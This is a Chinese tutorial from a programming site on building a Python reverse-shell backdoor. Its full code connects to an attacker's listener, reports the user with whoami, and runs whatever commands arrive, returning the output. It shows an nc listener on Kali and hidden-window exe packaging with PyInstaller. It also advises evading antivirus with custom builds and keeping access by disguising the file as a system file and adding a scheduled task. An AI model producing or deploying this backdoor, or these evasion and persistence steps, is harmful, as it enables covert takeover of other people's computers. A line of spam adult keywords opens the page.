亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

使用Python制作一個簡易的遠(yuǎn)控終端

 更新時間:2023年04月04日 15:06:11   作者:T1ngSh0w  
這篇文章主要為大家詳細(xì)介紹了如何使用Python語言制作一個簡易的遠(yuǎn)控終端,文中的示例代碼講解詳細(xì),具有一定的學(xué)習(xí)價值,感興趣的可以了解一下

遠(yuǎn)控終端的本質(zhì)

1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息

2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來的命令)

3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果

python制作簡易的遠(yuǎn)控

1、環(huán)境

環(huán)境:PyCharm 2021.1.1 x64 + python3.8

2、新建項目

打開pycharm,直接新建一個純python項目。

將main.py文件中原有的代碼全部清空。

3、編寫程序

(1)導(dǎo)入需要使用的包

# 導(dǎo)入所需要的包
import os
from socket import *

(2)創(chuàng)建main并配置socket套接字信息

#導(dǎo)入所需要的包
......


if __name__ == '__main__':
    # 1、服務(wù)端IP地址
    IP = "192.168.6.142"
    # 2、服務(wù)端監(jiān)聽的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)

(3)創(chuàng)建連接方法

#導(dǎo)入所需要的包
......

def remote_control(info):
    # 初始化socket連接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
    host = os.popen("whoami").read().strip()
    # 將客戶端角色在每次輸入命令的都顯示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())


if __name__ == '__main__':
    ......
	# 4、連接
    remote_control(socket_info)

(4)接收服務(wù)端傳入的數(shù)據(jù)(即命令)

# 導(dǎo)入所需要的包
......


def remote_control(info):
    # 初始化socket連接
    ......
    skt.send(tips.encode())
    
    # 建立持續(xù)連接
    while True:
        # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
        data = skt.recv(1024)
        # 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除
        command = data.decode('utf-8').strip()
        # 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)


if __name__ == '__main__':
    ......

(5)執(zhí)行服務(wù)端傳入的命令并將結(jié)果返回給服務(wù)端

# 導(dǎo)入所需要的包
......


def remote_control(info):
    # 初始化socket連接
    ......
    skt.send(tips.encode())
    # 建立持續(xù)連接
    while True:
        # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
        ......
        if command == 'exit':
            ......
        # 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
        result = os.popen(command).read()
        # 將命令執(zhí)行的結(jié)果返回給服務(wù)端
        skt.send((result + tips).encode())
    # 關(guān)閉socket連接
    skt.close()


if __name__ == '__main__':
    ......

代碼編寫完成!

(6)測試遠(yuǎn)控終端的可用性

打開一臺kali虛擬機(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽9999端口。

連接成功,遠(yuǎn)控終端制作完成!

4、將python文件打包成exe文件

(1)pip工具安裝Pyinstaller模塊

Win+R打開運行 --> 輸入cmd打開命令窗口

pip install Pyinstaller

(2)切換命令行的路徑到需要打包的Python源文件的文件夾路徑下

cd 文件路徑

(3)打包python文件為exe文件

Pyinstaller -F -w 文件名.py

打包成功!

打包完成后,在要打包文件的同級目錄下會新增一個dist文件夾,exe文件就在dist文件夾中。

(4)測試exe文件的可用性

kali服務(wù)端監(jiān)聽端口。

點擊運行生成的exe文件。

連接成功!python制作遠(yuǎn)程控制終端完成!

制作遠(yuǎn)控終端的意義

本篇文章我們研究了python如何制作一個簡易的遠(yuǎn)控終端,上篇我的文章研究了Java如何制作一個簡易的遠(yuǎn)控終端。其實,我們制作的這個遠(yuǎn)控終端就是一個后門程序。那么大家就想了,我們的CS跟MSF都可以生成后門程序,為什么我們還要自己制作呢?

這是因為,我們不僅可以通過自己制作了解遠(yuǎn)控程序的原理。而且,由于CS跟MSF生成的后門程序特征比較明顯,很多殺毒軟件都會殺掉,即使沒有殺掉,兩三天以后也可能被殺軟殺掉,不能做到一個持續(xù)化的權(quán)限獲取,也就是權(quán)限維持。而我們自己制作后門程序,是我們自己寫的,并沒有被公開,殺軟就匹配不到我們的特征值,這樣殺軟就不會殺掉我們的后門程序。如果我們再將我們的后門名稱改為系統(tǒng)文件的名稱,再改變圖標(biāo),把后門程序添加到計劃任務(wù)中,這樣我們就可以做到一個很好的一個權(quán)限維持。

附完整代碼

# 導(dǎo)入所需要的包
import os
from socket import *


def remote_control(info):
    # 初始化socket連接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
    host = os.popen("whoami").read().strip()
    # 將客戶端角色在每次輸入命令的都顯示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())
    # 建立持續(xù)連接
    while True:
        # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個bit為一個單位
        data = skt.recv(1024)
        # 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除
        command = data.decode('utf-8').strip()
        # 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)
        # 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
        result = os.popen(command).read()
        # 將命令執(zhí)行的結(jié)果返回給服務(wù)端
        skt.send((result + tips).encode())
    # 關(guān)閉socket連接
    skt.close()


if __name__ == '__main__':
    # 1、服務(wù)端IP地址
    IP = "192.168.6.142"
    # 2、服務(wù)端監(jiān)聽的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)
    # 4、連接
    remote_control(socket_info)

以上就是使用Python制作一個簡易的遠(yuǎn)控終端的詳細(xì)內(nèi)容,更多關(guān)于Python遠(yuǎn)控終端的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Python 實現(xiàn)某個功能每隔一段時間被執(zhí)行一次的功能方法

    Python 實現(xiàn)某個功能每隔一段時間被執(zhí)行一次的功能方法

    今天小編就為大家分享一篇Python 實現(xiàn)某個功能每隔一段時間被執(zhí)行一次的功能方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-10-10
  • win10環(huán)境下python3.5安裝步驟圖文教程

    win10環(huán)境下python3.5安裝步驟圖文教程

    本文通過圖文并茂的形式給大家介紹了win10環(huán)境下python3.5安裝步驟,需要的朋友可以參考下
    2017-02-02
  • 很酷的python表白工具 你喜歡我嗎

    很酷的python表白工具 你喜歡我嗎

    這篇文章主要為大家分享了一款很酷的python表白工具,可以發(fā)給女生表白用,界面簡單,實用性強,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-04-04
  • Python應(yīng)用利器之緩存機制的妙用詳解

    Python應(yīng)用利器之緩存機制的妙用詳解

    在 Python 應(yīng)用程序中,使用緩存能夠顯著提高性能并降低資源消耗,本文將詳細(xì)介紹如何在 Python 中實現(xiàn)緩存機制,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下
    2023-12-12
  • python+selenium對table表和分頁處理

    python+selenium對table表和分頁處理

    這篇文章主要介紹了python+selenium對table表和分頁處理,文章內(nèi)容只要包括bulabula2022、table表分頁處理、網(wǎng)頁table所有內(nèi)容循環(huán)處理等相關(guān)內(nèi)容,需要的小伙伴可以參考一下
    2022-01-01
  • Python模塊學(xué)習(xí) filecmp 文件比較

    Python模塊學(xué)習(xí) filecmp 文件比較

    filecmp模塊用于比較文件及文件夾的內(nèi)容,它是一個輕量級的工具,使用非常簡單。python標(biāo)準(zhǔn)庫還提供了difflib模塊用于比較文件的內(nèi)容。關(guān)于difflib模塊,且聽下回分解
    2012-08-08
  • pycharm配置anaconda環(huán)境時找不到python.exe解決辦法

    pycharm配置anaconda環(huán)境時找不到python.exe解決辦法

    今天來說一下python中一個管理包很好用的工具anaconda,可以輕松實現(xiàn)python中各種包的管理,這篇文章主要給大家介紹了關(guān)于pycharm配置anaconda環(huán)境時找不到python.exe的解決辦法,需要的朋友可以參考下
    2023-10-10
  • pygame庫pgu使用示例代碼

    pygame庫pgu使用示例代碼

    pgu全稱是Phil’s pyGame Utilities,是pygame的一組模塊與腳本,其中還有g(shù)ui集成了一些小模塊,現(xiàn)在用pygame制作小游戲的人越來越多,但是pygame它是沒有彈窗機制的,今天通過本文給大家介紹pygame庫pgu使用示例代碼,需要的朋友參考下吧
    2021-08-08
  • Python動態(tài)加載模塊的3種方法

    Python動態(tài)加載模塊的3種方法

    這篇文章主要介紹了Python 動態(tài)加載模塊的3種方法,本文分別使用使用系統(tǒng)函數(shù)__import_()、使用imp 模塊、使用exec三種方法實現(xiàn),需要的朋友可以參考下
    2014-11-11
  • 淺析python內(nèi)置模塊collections

    淺析python內(nèi)置模塊collections

    collections是Python內(nèi)建的一個集合模塊,提供了許多有用的集合類。這篇文章主要介紹了python內(nèi)置模塊collections的相關(guān)知識,非常不錯,具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-11-11

最新評論